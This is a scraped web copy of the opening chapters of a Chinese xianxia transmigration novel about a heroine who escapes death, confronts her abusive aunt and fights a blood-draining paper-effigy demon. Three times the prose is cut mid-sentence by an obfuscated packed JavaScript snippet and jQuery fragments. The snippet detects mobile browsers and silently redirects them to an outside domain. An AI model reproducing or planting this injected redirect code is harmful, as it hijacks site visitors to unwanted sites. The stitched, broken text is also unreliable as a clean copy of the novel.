《死遁失败后男主他疯了》
1. 纸阴人1
“快走,别耍花招,不然要你好看!真是晦气,要不是阿福方才拉肚子,夫人又急着要见你,你以为我愿意理你?还不快走!”
江清月一睁眼,便听到一人在自己耳边骂骂咧咧地催促。
上一世悬崖边凛冽刺骨的风好似还刮在脸旁,她眨眨眼,不动声色地瞧了瞧自己的装扮和周围环境。
很好,都很陌生,看来自己已经死遁成功了,她这才松下一口气来。
可这口气还没松到底,便被喉头的一阵痒意打断:“咳,咳咳!”
“行了,病秧子你有完没完?”那人转过头来,一双吊梢眼十分不屑地扫过她,“走两步咳四声,真以为自己还是大小姐呢?一会到了堂上什么该说什么不该说,你可记好了,要不然接下来几天就等着饿肚子吧!”
江清月捂住胸口缓缓直起身,皱起眉头盯着那滔滔不绝的小厮,黑沉沉的眼珠直把他盯得结巴起来:“你,你看什么?”
——原来是个色厉内荏的。
江清月收回目光,抿了抿干裂的唇:“无事。不是要走吗?”
吊梢眼被她这一提醒,内心涌上了些羞恼,他方才竟然被这个病秧子吓得结巴了!不由狠狠瞪了江清月一眼,转身大步离开。
她没理会吊梢眼,慢悠悠地跟在他后面,边欣赏沿途清丽雅致的风景,边揪了几瓣花瓣放在嘴里嚼——刚穿过来时没感觉,走了几步便感觉肚子空空,像是十几天没吃过一顿正经饭,饿得她脚步虚浮,头也发昏。
系统给她选的这什么破地方,看着不像是死遁后来养老的,倒像是来历劫的。
那吊梢眼走到一半回头,发现她停在花丛旁边吃花,不由惊叫道:“那可是夫人最喜欢的,你……你!”
顶着他惊诧的眼神,江清月又揪了几片,当着他的面放进嘴里嚼。只当他在给自己伴奏。
吊梢眼气急,但又莫名怵她。
二人就这么保持着奇怪的氛围,一前一后来到前院,还未进门,便听一道尖利的女声从内传出来:“怎么还没过来?!磨磨蹭蹭地干什么呢?让这群奴才办个事比杀人还难!来人啊,直接去把那个病秧子给我拖进来!!!”
吊梢眼小厮神情欣喜,脸上明明白白写着几个大字:“你等死吧!”
江清月将三株吃完的花梗丢在他脸上,哂笑一声道:“我到了,你可以滚了。”说完,便不再管他面上是何表情,抬脚向里面走去。
来前院的路上,她将肚子垫了垫,也大概理清了原主的记忆。
总的来说,原主雁秋心是个小可怜——父母双亡,天生痴傻胆小,家产都被姨母一家占据,自己却被苛待得不到任何人的尊重,最后又冷又饿孤独死去。
紧接着,她就穿到了雁秋心身上,顶了她的身份活下来。
江清月抬起手,捏了捏细瘦的胳膊,叹气:“虽然不知道为什么会穿到你的身上,但你放心,我来了,就绝不会再让任何人欺负你。待把这些破事解决了,咱们孑然一身轻,游山玩水去。”
她知道雁秋心的灵魂已然消散,可这番话说出口后,混沌的灵台竟是骤然清明了些。江清月笑笑,继续迈步。
前院空寂无人,只有厅内微微有些谈话声传出来。
在这其中,依然是那道尖利的女声最为激动,隔着门透出来——“她爹娘早就死了,要不是我顾念旧情把她留在府里,还好吃好喝的供着,她早就不知道死到哪去了!枉我对她一片恩情,她就拿这些肮脏的东西来报答我?我真是瞎了眼了……”
江清月抬手揉了揉耳朵——原主真是惨。不给吃饭也就算了,不管是小厮还是亲戚,都能对她指着鼻子骂,难怪最后郁郁而终。
她抬手推门,进到屋内时已经换了副瑟缩的神态,配着她一身破旧的衣衫,瞧着就是个被人欺负也不还手的软弱样子。
抬眼一瞧,厅内坐着七八个人,其中坐在上首的是一个穿金戴银,满身绫罗绸缎的贵妇人。
她一手紧紧把着椅子把手,一手指着她厉声骂道:“我早就知道你不安好心!说!你到底是为何要存心害人?”
江清月摆出一个茫然无措的表情:“夫人,我不明白您在说什么。”
这话她可没骗人。她穿过来不过一炷香的时间,原主在府中不受待见,就是把记忆翻来覆去地看,也不知雁府究竟发生了何事。
“你不明白,呵!你能明白什么?”雁夫人完全没看出来雁秋心的身体换了个芯子,横眉竖眼道,“难不成李道长还能骗人不成?”
顺着雁夫人的手看去,是一名身穿长袍,留着长须的男人。他身上的道袍没有代表宗门的绣纹,是名游侠散修。
李道长捋了捋胡子,闭着眼睛道:“雁府死了七人,皆是因为府中有浓郁的魔气盘绕,危害生魂……而夫人府上魔气最多的地方,则是这位小姐的院子!”
说着,他猝然睁开眼睛,指向江清月:“而你命不久矣,便是最好的解释!——咦,你怎么……?”
他瞧着站在厅里的江清月,突然磕巴了一下,眼睛不再故作玄虚地半眯着,反而瞪得大大的,像是要在她脸上瞧出一个洞。
江清月低着头,闻言挑了挑眉——我怎么还没死?
那李道长扶着道童的手站起来,抽出拂尘搭在臂弯,端的是一派仙风道骨,可他脸上表情是截然相反的惊诧:“……奇怪,明明你的命格是早死之像,怎的还活着?怪也怪也。”
这散修虽然长着一副坑蒙拐骗的样子,倒是有些真才实学,原主的确已经死过一回,他也不算看错。
只是这话,让人听着心里十分不适。
闻言,雁夫人的嘴角抽搐一下,像是一个硬憋回去的笑,显得表情有些狰狞。她眼珠一转,给这件事定了性:“李道长,你的意思是说,雁府的七条人命都是雁秋心所为?”
李道长沉吟片刻:“不无道理。若是以邪术诅咒逆天改命,取他人阳寿补给自身,便也是行得通的。”
雁夫人立即喝道:“此人修习邪术,害人性命,雁府是断断留不得她了!今日我便大义灭亲,除了这个祸害!”
李道长摸着胡须道:“善哉善哉。”
江清月冷眼瞧着。他们二人一唱一和,倒像是提前商量好的那般。
自她睁开眼,总共只同三个人说过话,但这三人倒是颇有默契,都不约而同地祝她早死。
眼下更是当着她的面,堂而皇之地论起杀人之法,恨不得将她除之而后快!
可想而知,原主雁秋心在府里过得是什么日子。
她眼里闪过一丝亮芒——既然你们不做人,我也就不必与你们客气了!
那厢雁夫人和李道长两人还在假模假样地商讨,忽闻一阵此起彼伏地吸气惊叫,转过脸来一看,雁夫人的假笑差点没绷住——
“大家伙快来看快来瞧啊,天底下还有这么丧良心的人啊!”
这石破天惊的一嗓子将众人的目光都吸引了过来,江清月一屁股墩坐在地上干嚎:“你抢了父亲母亲留给我的钱,骗我说是帮忙保管,可现在保管到哪去了?是不是都管到你们自己的肚子里面去了?!瞧瞧我这瘦弱的小身板,再瞧瞧姨母和表哥那膘肥体壮仿若一堵墙的身材!平日里只有我任打任骂的份,她们娘俩一拳能打死五个我啊!”
说着,她的肚子十分配合地“咕咕”叫了一阵。十分有说服力。
“往日里你打我骂我,还不让我告诉其他人,我都听你的话,可没想到姨母竟是存了想要杀我的心思!你欺负我这样一个弱小无助的人不觉得良心痛吗?呜呜呜还让我把雁府的钱都给你,我呸,一把火烧了都不给你!”
众人的眼神也随着这话,一会转到江清月身上,一会转到雁夫人身上,直转的她脸色铁青。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447469|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
江清月悄悄睁开眼睛看了看,嘴角挑起一个满意的微笑。
在雁秋心的记忆中,雁夫人是最在乎面子功夫的人。明明是自己鸠占鹊巢,却偏偏要说是大发善心才收养了无依无靠的雁秋心;明明暗地里对雁秋心非打即骂,在众人面前却要表现的关心爱护。
她装的不累,江清月都看累了。
既如此,不如就趁着这个机会将遮羞布一把全扯下,让众人都瞧瞧她的真面目。
所以她释放本性,喊得酣畅淋漓,一人闹出了千军万马的效果;围观群众皆是目瞪口呆,不知该作何反应。
只有紧挨着雁夫人的一个年轻男子气的脸红脖子粗,一把挥开旁边侍候的侍女,跳脚骂道:“病秧子,你再敢乱说话,我就活撕了你!”
他这一挥,那侍女手中端的一盘葡萄登时被打翻,骨碌碌滚落一地,看得江清月肚子又是一阵“咕咕”叫——浪费粮食,你不吃给我呀!
她本来一秃噜说完,没什么可发挥的,正意犹未尽,恰好她的便宜表哥看准时机送来了梯子。
这她哪能放过,忙顺着梯子往上爬,抹着不存在的眼泪哭喊道:“你们瞧瞧,人都还在这呢,他就要活撕了我。可想而知,家中只有我的时候,过得是什么苦日子啊!”
由于原主平日里便是个痴傻胆小的性子,从不曾这般放肆,所以雁夫人一时半会没反应过来。可待江清月将所有话讲完后,她反而又有些畏首畏尾,不敢在众人面前责打她。
这就像一只狗咬了你一口,你痛了生气了,难不成还要咬回去不成?可若是忍下来,又是懊悔不已。雁夫人此刻便是这种状态。
简而言之,好面子。
听了她这一通胡喊乱叫,雁夫人厉声道:“还愣着干什么?她在这里疯言疯语,你们也都傻了吗,还不快点把她给我赶出去!!!”
见门外涌进一批人,江清月忙手脚乱蹬不让那些侍女小厮近身,随手将一旁小几上的碟子揣到怀里,从众人的围堵下一扭身逃走了。
出了前院,江清月按照脑中的记忆,捡了一条最近的小路回她的院子。
不知是不是方才太过卖力,她现在真是饿的前胸贴后背,肚子“咕咕”响个不停,好在她临出门时顺了点吃食,不然只能去花丛里拔花了。
可掏出怀里的糕点,放进嘴里一咬,江清月的面色却是一苦——怎么随手一抓偏偏抓了个最不喜欢的枣泥糕?
但无法,这具身子再不进食,恐怕就要撑不住了。她一边将糕点塞进嘴里,一边四处张望转移注意力,期望能赶快把不喜欢的味道盖过去。
这一瞧,倒还真让她看到了些不一样的东西。
此时正值午后,天光大亮,无需点灯。可前方不远处却是亮着几团异常明亮的光,绿幽幽阴森森,叫人望而生畏。
江清月停住脚步,若有所思地盯着那边看了看,亮光的地方好像是原主的小院。
随即她脚步一转,向着雁府的后门跑去。边加快脚步,边在脑中极速思索——方才那光是搜妖符发出来的,这东西在修仙界屡见不鲜,是勘测魔气抓捕妖兽的必备之物,就连她之前在昆仑山派时都跟着画过两张。
府中死人、修士聚集、搜妖符篆……江清月敏锐地嗅到了些不对劲——雁府接下来定是有一场恶战。
她如今一无灵力傍身,二无系统协助,留在这就是当炮灰,还是第一回合就挂掉的那种!
她刚死遁成功,重获新生,可不想把小命交代在这,还是赶快逃路要紧。
可计划赶不上变化,她还未摸到雁府后门,便被几个小厮逮住,直接捉回了前院。
那小厮将她丢在地上,江清月只觉浑身骨头像是重组了一遍,疼得她龇牙咧嘴,还未缓过神来便听高座上的雁夫人恨声道:“我们雁家养你一场,你竟如此不知感恩,对自己的亲表兄下此毒手!”
2. 纸阴人2
雁夫人一挥袍袖,怒目圆瞪:“方才你出去不过半炷香的时间,平儿便咳嗽不止,是不是你这个病秧子过了病气到他身上?!”
平儿,即雁平,她的便宜表哥。肥头大耳,膘肥体壮,体格子比三个她加在一起还大。
她可背不了这么大的一口锅!
江清月瞪大眼睛,表情很是瑟缩,但嘴里说出来的话却完全不是那么回事:“姨母,我知道你宠爱表哥,但惯子如杀子,你但凡睁开眼看看表哥的体型,都不至于说出这种话来呀?他一顿饭吃八个猪蹄,胖的脸上只剩三条缝了,我都瞧不见他的眼睛在哪里!如何能将病气过给他呀?”
她口齿清晰伶俐,左右逢源触类旁通,且灵活运用各种精妙的语言艺术,一通话惹得众人纷纷憋笑,雁平更是急得上气不接下气,又咳了两声。
雁夫人登时顾不上指责江清月,连忙指挥身边的侍女给自己的宝贝儿子顺气。
可怪异的是,那貌美侍女越是在他背后轻拍,雁平咳得越是严重,像是要将自己的肺都咳出来一般用力。
瞧见这一幕,李道长在一旁捋着胡须,慢条斯理道:“贵府公子这是被人诅咒了……”
他意有所指:“此人,说不定就是在座的某一人啊!”
这话就差直接指着她的脑门说了。
江清月翻了个白眼——为了甩锅,这老头真是什么都说得出来,她要收回之前夸他有真才实学的那句话!绝对是瞎编的!
于是十分不客气道:“李道长,你母亲有没有教过你——污蔑人也是要讲证据的。你我之前分明从未见过,却总是针对与我,是何居心?是不是也想在雁家分一杯羹?”
见李道长吹胡子瞪眼又要开口,江清月抢先道:“若我真有这种诅咒能力,第一个下手的人就是你!”
她这话说得极为挑衅,李道长大怒。
江清月边说边仔细观察他的神色,只要有一丝不对劲她马上就跑!
却不想这时,一道女声从旁边传来,打破凝滞的氛围:“此事蹊跷,不一定是这位……这位小友所为。我等身为修仙之人,在外除魔卫道,还是不要冤枉了无辜人才好。”
哎,这人说的话她爱听。
江清月转头,正巧对上一名黄衫少女的眼睛。她面容白皙,眼神沉静,身上校服的领口和袖口处都绣着繁复的暗纹,只是离得远看不清具体是哪一家宗门,但一定是内门弟子。
这人……她仔细回想了一番……好像是方才被她抢了一盘枣泥糕的那位。
见江清月看过来,黄衫少女对她弯了弯眼睛,示意她不要害怕。
“冤枉?”李道长呵呵一笑,将茶盏重重往小几上一放,从随身囊袋中掏出一把搜妖符拍在桌上,“老道这里有些搜妖符,是与不是,一验便知!”
话音未落,他便突然暴起,将那一打符纸全部向江清月袭来!
登时,“轰!”的一声,一团绿焰在她眼前燃起,若不是她躲得快,恐怕头发都要被烧光。
李道长冷笑道:“诸位,若这人身上没有魔气,那搜妖符怎么会被点燃?”
见此,在座众人反应各异。
诸位修仙者自然是司空见惯,只是神情微微一愣,眼神中都带上了些审视;而雁平等一众普通人则是看的目不转睛,他也不咳嗽了,还抓着往后退的侍女让她喂自己吃葡萄,十足十的纨绔做派。
江清月一个翻滚后起身,她拍灭袖子上的火星,眼神微眯——刚刚,她察觉到了一抹非常浓烈的魔气,就游荡在这间厢房内。
虽然这具身体没有灵气,但她上一世毕竟当了十几年的昆仑山派大师姐,对于魔气还是能分辨出来的。况且这魔气十分狂妄,都快逼到她的脸上了,想察觉不到也难。
她这具没有灵力的凡人之躯都察觉到了,其余修仙者自然是更为敏锐。
黄衫少女将手按到剑上,回身对另外几名弟子道:“不对劲,起阵……”
她话还没说完,厢房内便突生变故——
“师傅!师傅你怎么了?!”
江清月迅速转头,只见方才还一派精神洋洋得意的李道长此刻面色惨白,他喉头微动,猛地呕出一大口鲜血,将那小道童的前襟染的血淋淋一片。
变故就发生在一瞬间,众人还未来得及反应过来,李道长的身体便快速干瘪下去,直挺挺地仰躺在那小道童的怀里,两只眼珠直愣愣地外凸着,皮肤紧紧裹在骨头上,仿佛全身的血肉在一瞬间被吸食殆尽,只余下一具骷髅。
寂静。
在场众人纷纷愣在原地,江清月倒是凑上前去,将智障儿童欢乐多的模样演的淋漓尽致,傻兮兮笑道:“李道长这是在玩什么?”
黄衫少女神色凝重,上前几步,仔细探查:“离远些,尸体上有魔气。”
其余几名黄衫弟子围上来,眼中都是惊异:“孟师姐,这……”
孟今朝摇摇头。她也不知这是何种魔族所为。
就在这时,雁夫人忽的厉声道:“是你干的!”
突然被指中的江清月:“……?”
孟今朝直起身,试图与她讲明。但雁夫人却好似已然癫狂,执拗道:“方才你说若会诅咒,便会第一个对李道长下手!看,果然说到做到了!不是你还能是谁?!况且这种死法与之前府中几人一般无二,除了你还能是谁???”
江清月无语凝噎。她只是瞎说的,谁能想到就说的这么准呢!乌鸦嘴要不得,你这种强盗逻辑更是要不得!谁教你这样推理的?
“来人啊,给我抓住她!”
随着雁夫人一声令下,在厢房外等候的小厮们立刻推门而入,进门后先是被李道长的尸体吓了一跳,又在命令下又忙不迭地去抓江清月。
本就混乱的厢房内更是乱上加乱,各路人马乱成一团。
趁着他们你推我我挤你互相推搡之时,江清月将脚下散落的搜妖符一把全部抓在手里,也顾不上检查哪些完好、哪些破损,直接伸手向上一抛——
数十张符纸便如天女散花一般纷纷扬扬飘落而下,落在哪里都是一片噼里啪啦的火光。厢房里尖叫声咒骂声响成一片。
只能依稀听见孟今朝维持纪律的声音:“不要挤,都不要挤!不要乱跑!”
可是根本没人听。
好半天,众人才勉强停歇下来,各人都是一副灰头土脸,衣衫凌乱的狼狈样
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447470|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
一名小厮将自己衣角上的火星扑灭,刚抬头便被面前的景象骇得直接跌坐在了地上,一叠声叫道:“鬼……鬼啊!有鬼啊!”
另一名小厮嫌弃道:“一个大男人,胆子比绣花针还小!”
可等他跟着抬头看去,也是一声惊叫,恨不得将房顶都掀翻,成功将众人的目光都汇聚过来——
处于中心的侍女摸了摸自己的脸,对众人或是嫌恶,或是惊慌的眼神十分不解:“怎么了,小翠的脸上有什么东西吗?”
回应她的,是众人极速退成的一个包围圈。每个人都神情紧张地盯着那名叫作小翠的侍女,心中皆是一悚。
原因无他——这名温声细语的侍女,一半脸是芙蓉美人面,另一半却是惨白如金纸、柳叶眉杏仁目也成了随笔画上去的线条——这分明是送葬用的纸阴人!
两相对比,怎一个惊悚得了。
偏偏她好似还未察觉,天真地笑起来。一笑,那半边芙蓉面便跟着簌簌掉落,露出双颊上的两坨大红,森白的牙齿明晃晃露在外面,像是下一秒就会咬断喉管,吮饮鲜血。
这时,雁平悠悠转醒,刚睁眼便见众人都离他八丈远,不由恼道:“你们这什么眼神?敢嫌弃我?明天就让我娘把你们这群狗奴才都卖了!”
往日里他一发火,其余人早就巴巴的过来哄他了,可今日他们只是呆立在原地,眼神呆滞的看着他身后。
身后……身后有什么?
雁平体型笨重,费了好大的力气也才堪堪转过一半的身体,累得气喘吁吁。好在小翠很是贴心,主动上前扶着他的胳膊,温柔道:“少爷,小翠扶着您吧?”
“还是小翠好,最得我心……”剩下半句话卡在雁平的喉咙里,憋得他满面通红,大气都不敢喘。
由于小翠贴心地凑过来,雁平看见了她的脸。一张纸糊的、毫无生气的脸。
“我儿!”雁夫人好似是突然惊醒一般,凄厉地呼喊道。
雁平浑身一哆嗦,不知是哪来的力气,一把将她推开,四肢并用连滚带爬地爬离小翠身边。
可他刚一动便被小翠察觉了,她语气有些伤心:“少爷,你躲什么呀!你不要我了吗?你不给我你的心了吗?”
她顶着这样一张脸呼喊,雁平能理她才是有鬼了,大叫道:“别想骗我!你不是小翠,你是怪物!你滚开!”
可小翠身形如鬼魅,几息之间便越过重重阻碍一把握住了他胡乱挥的手,随后诡异一笑:“少爷,别闹了,我们来吃葡萄好不好?”
雁平瞪大眼睛,脸颊不停抖动,整个人就仿若是颗被人一口咬破的葡萄,“噗”地吐出了一大口血,身形迅速衰败下去,随后连一声尖叫也来不及发出,眨眼间便只剩一张干巴巴的皮裹在骨头上,竟是顷刻间就被吸成了干尸!
与李道长之死一模一样!
至此,众人还有什么不明白——一切都是面前这不人不鬼的东西搞的鬼!
雁夫人见此大喊一声“我儿!”猛地从旁边侍卫的腰上抽出佩剑便向小翠劈去!
那厢江清月正忙着浇灯油,听闻动静转过身来,见雁夫人如此动作,不禁大喊一声:“别砍!”
3. 纸阴人3
可这话还是说晚了一步。
雁夫人一心想着为儿子报仇,哪里听得进别人的话,提着剑便刺进了小翠的身体。只听“噗呲”一声响,她的半张脸上都是小翠身上溅出来的鲜血,血腥可怖。
可她状若疯癫恍若未觉,猛地拔出剑,哈哈大笑道:“儿啊!娘替你报仇了!”
众人登时都是一惊,不仅是惊于雁夫人的疯狂,更是惊于眼前所见的一切。
在雁夫人身后,小翠倒在血泊中的身体正在不正常地蠕动抽搐,动作越来越大,最后竟是从身体的断口处分裂出一个一模一样的“小翠”。
两具纸阴人摇晃着,慢慢站了起来。
雁夫人见众人神色不对劲,厉声道:“你们看什么?!杀人偿命天经地义,就算再来一个再来一双,我也同样杀得!”
她话音还未落,便突觉肩上一重,四只柔软冰冷的胳膊搂上了她的身体。雁夫人破口大骂的嘴一顿,满眼不可置信地盯着重新站起的小翠,吓到说不出话。随后她嘴唇嗫嚅两下,吐出了一大口鲜血,“嘭”的一声倒在了地上,也如前两人一样眨眼间便成了一具干尸。
小翠从她身后钻出来,伏在干尸肩上,面上的表情很是可惜:“明明我只想要你们的心,可是你们都不肯给我,那我只能自己找了。”
话落,她伸手在雁夫人的尸体上摸来摸去,笑嘻嘻道:“让我瞧瞧,你的心去哪里了?怎么不见了?唔……”
她缓缓抬眼,盯住了不断往后缩的一群人,笑道:“把你们的心给我,好不好?”
不过短短一炷香,厢房内便已接连死了三人,众人恨不得直接缩进墙里,别说回话了,连大气也不敢喘。
这时,一道女声慢悠悠道:“不好。”
闻言,小翠的脸突然变得凶狠起来,画上去的笑脸图案也飞速发生变化,扭曲成一个狰狞的表情:“为什么?”
“哪有那么多为什么,”江清月抛着油灯,越过一众人走上前来,笑道,“不给就是不给,没有为什么。”
“那你就去死吧!”说完,小翠脚一蹬,张牙舞爪地对着众人冲过来。
而江清月丝毫不慌,手一松,油灯落地碎裂,其中的火星舔舐到地上的油渍立刻“轰!”的一声燃起来,筑成一道坚实的火墙将众人围在其中。
小翠躲避不及,半颗头都被火舌燎到,在地上滚了好半天才保住剩下半颗。她眼里含着畏惧,不死心地围着火圈转来转去,又再失去一条纸扎手臂后才终于消停下来。
孟今朝惊喜道:“真的有用!好厉害!”
另一名黄衫弟子也跟着嘻嘻笑道:“你也不是真的痴傻嘛,当时我看你到处找油灯,还以为你真要一把火将雁府烧了呢!”
“住口,不可对人无礼。”孟今朝制止,又转头歉意道,“抱歉,师弟年幼无知,还望海涵。”
江清月摆摆手,浑然不在意道:“无事。说到底我也要多谢你们,若不是有你们帮忙,仅凭我一个人可没法浇这么多灯油。”
孟今朝被她夸的脸一红,不好意思地摸了摸配剑。
火圈内一派其乐融融,小翠在火圈外看了一会,突然咧开嘴巴笑起来,两排细密的利齿在火光照耀下闪着光:“呵呵,你们以为我很傻吗?雁府有那么多人,我又不是非要你们的心不可,外面还有一大堆呢!你们呀,就好好地躲在里面看吧!哈哈哈!”
说着,她心情颇好地转身去推门。一推,没推开,反而还被门上的阵法震倒,摔得纸扎后脑勺都瘪进去了。
江清月憋着笑,学她方才的语气:“你呀,就在里面看吧!”
方才那名身穿黄衫的小弟子亮了亮佩剑,喊道:“没想到吧,我们开了剑阵!罩住了这间厢房,你是出不去的!”
小翠怒极,可又拿他们无可奈何,蹲在原地无能狂怒。
见局面暂时稳定下来,孟今朝试探性地看向江清月:“这位……”
她欲言又止,江清月言简意赅:“叫道友就行。”
孟今朝肃然道:“这位道友真是博学多知,多亏您的方法,既可将纸阴人困于阵法内,又可节省一半的灵力消耗。只是在下有个问题想请教,道友是如何发觉小翠就是魔族,又找到应对之法的呢?”
如今再装痴傻人设实属没必要,江清月一展眉,笑道:“很简单,只有一字诀——看。凡事不可只观全局,更要看细节。方才李道长对我扔搜妖符时,各人的反应皆不相同,这就是我们要仔细看的东西。修过仙的,神色平静司空见惯;而一些从未接触过的,例如雁平之流则是目不转睛、神色中全是好奇。只有小翠,避之不及。”
孟今朝听得专注,频频点头,恨不得现场变出纸笔记下来。
江清月瞧着她认真的模样,突然笑开:“剩下就没了。”
“啊,没了?”
“对啊,一半细节,一半猜测嘛。运气也是实力的一种。”
“那每次都能猜对吗?”
江清月认真想了想:“这倒不一定。比如现在我来猜猜……今年是仙魔大战后的第二年?”
话音落,围着她的小辈们脸色都有些古怪,有个心直口快地道:“怎么可能!现在距仙魔大战已经过去整整一百年啦!”
啊?
一百年?
江清月罕见的卡壳一瞬。这时,脑中突然响起久违的机械音,一如既往地平静无波,一如既往地欠打:【宿主您好,系统已升级成功,现即将为您带来更贴心的服务!希望您能给个五星好评哟!】
江清月咬牙切齿:“你是不是应该先跟我解释一下,怎么我眼睛一睁一闭,直接穿越了一百年?系统你出来,装死是没有用的!”
花了半天时间,江清月才接受了自己不仅又穿回了修仙界,还穿到了仙魔大战一百年后这个事实。
不过唯一的好处应该就是,时间过去这么久,纪行云应该早就忘了还有她这号人了,也算是另一种意义上的死遁成功?
她很是郁闷,摸摸自己的眉尾,叹了口气。
这时,耳边突然传来一声脆响,是孟今朝从袖中掏出一块玉牌,捏碎。见江清月看过来,她解释道:“这是我们宗主给的传令玉牌,有危险时捏碎便可通知宗门,派人救援。虽然已经将纸阴人牵制住,但如此也不是长久之计,还是尽快将她绳之以法为妙。”
她说得头头是道,很有风范。江清月也暂时撇下心头惆怅,饶有兴趣地问道:“你师承何门?”
“天启宗。”
天启宗?江清月
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447471|169445||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在脑海里仔细搜索着这个名字,最后一无所获。看来她离开的这一百年,修仙界还是发生了不少新鲜事的嘛,甚至连新兴的宗门都成长起来了,还有这么好的苗子。
“好苗子”本人孟今朝,看着江清月莫名慈爱起来的眼神,低下头默默摸了摸剑——真是厉害又奇怪的道友。
就在这时,她们身侧突然传来一阵惊呼声,将几人的目光吸引过去。
绕是江清月见过大世面,现下也不由得倒吸一口凉气。无他,这场面实在是过于惊悚了——
小小一间厢房内,站满了数不清的纸阴人。她们顶着小翠的脸,神色狰狞、前赴后继地往火圈扑。
有弟子惊呼道:“怎么突然多了这么多纸阴人?她们在干什么?自寻死路吗?”
江清月神色凝重。虽然纸扎的身体一瞬间便会被火舌燃尽,但也架不住数量如此庞大的攻势。
不过十几息,火势便小了许多。
方才发生了什么?!
见她们看过来,众人哆哆嗦嗦地推出几个人来。江清月定睛一看,发现这几人十分眼熟,正是花厅中同李道长坐在一起的几名散修。
那几名散修哭丧着脸道:“这不是我们的问题,我们什么也没干啊!就是说了她几句!谁知道她心气这么小,竟要对我们如此报复,赶尽杀绝?”
原来,方才这几人对着火圈外的小翠嘲笑辱骂,将本就处于困境的小翠彻底惹急了,随便从地上挑了一柄剑便朝着自己身上捅。
一开始那几名散修还看得津津有味,笑道:“这魔物疯了!”可很快便笑不出来了,因为他们发现,纸扎人将自己劈成几瓣,便会长出几个完整的“小翠”。
顶着众人惊慌失措的眼神,她疯狂地切割自己,复制出了一屋子的“小翠”!
听完,江清月只想骂一句:蠢货。
这几人她有印象。明明同为修仙者,却连天启宗的几个小辈还不如。迎敌时躲在后方屁都不敢放一个,待到安全了,便一味撩贱。现如今惹出祸端,便又一味推脱,生怕担责。
小翠猖狂的笑声穿过人群,带来无尽的恐惧。
见事态严重,那几名散修急忙摆手,将自己的囊袋抖了个底朝天:“我们打不过的!里面都是些唬人骗人的假玩意!往日里我们都是跟着李兄到处坑蒙拐骗,哪里想得到今日真的遇到了魔族?”
可她现如今身无灵力,天启宗的几名弟子法力又不高,勉力支撑厢房结界已是极限,根本腾不出另外的灵力来迎敌。
这里除了他们,便都是些人界的普通人。莫说反击了,他们早就吓得两股战战,瘫软在地。眼瞧着火势越来越弱,已经有人开始崩溃了,鼻涕眼泪糊了满脸,叫着还没活够还不想死。更有甚者,已经想把那几名散修推出火圈,期望这样能让小翠消气,放过他们这些无辜的人。
江清月立在原地,垂在身侧的手缓缓攥紧,刚要动作便听头顶外传来轰然巨响!
随后,整片屋顶被剑气掀飞,张牙舞爪的纸阴人也被威压纷纷压倒在地。
清亮月光下,来人衣诀随风猎猎翻飞,剑意凛然。
身侧登时爆发出一阵欢欣雀跃,可江清月恍若未觉。她盯着那飞剑上的人影,不由心中一跳——是纪行云。
4. 纪行云
待看清的那一刻,江清月条件反射就想躲起来。
怎么来的人偏偏是他?
正常人遇见仇人的第一件事是什么?当然是杀之而后快,再不济也得以牙还牙以眼还眼……天杀的,她的肩膀突然隐隐作痛了是怎么回事?
正当她思考以一个什么理由能让纪行云放她一马时,忽然低下头瞥见了自己身上破旧的衣衫,方才离家出走的理智才堪堪回笼——如今自己换了一副身躯,在世人看来,昆仑山派大师姐江清月早就死在了当年的仙魔大战中。
就算是大罗神仙来了,也不会将她认出来。
她这厢心绪百转,那边一群黄衫弟子们瞧见剑上的人,兴奋地叽叽喳喳:“是宗主,宗主亲自来救我们啦!”
一名黄衫小弟子正要跟着过去,转眼瞧见她的模样,笑道:“咦,你这人真奇怪,方才对着发狂的纸阴人没甚表情,怎么如今瞧见救兵倒是一副惊慌失措的模样?”
江清月张了张嘴,不知该说些什么。
好在那小弟子也不期望能得到她的回应,耸了耸肩,便追着众人一溜烟地奔向那边。
在场之人,除了江清月都是一脸劫后余生的喜悦,甚至有人边哭喊边磕头,口中还不停叫着“救命之恩无以为报,愿意当牛做马端茶递水”等云云……一片混乱。
见众人的注意力都不在她身上,江清月悄悄往后退了两步。
此时不跑更待何时?
却不想下一瞬,面前乌压压的人群突然转身,齐刷刷向后看来。两波人大眼瞪小眼半晌,江清月颇为自然的收回迈出去的脚:“哈哈,好巧,都在呢?”
刚说完,她就想给自己两巴掌。说的这是什么话?脑子你快回来,不要离家出走啊!
好在孟今朝是个好孩子,没让她尴尬太久,对身侧一人毕恭毕敬介绍道:“……宗主您不是问我们如何等到救援的吗,其实都是这位道友的功劳!她很是厉害,这抗击纸阴人的法子也是她教我们的!”
“原来如此,那可得好好感谢一番。”
这声音陌生中又带着一丝熟悉,但肯定不是纪行云的声音。
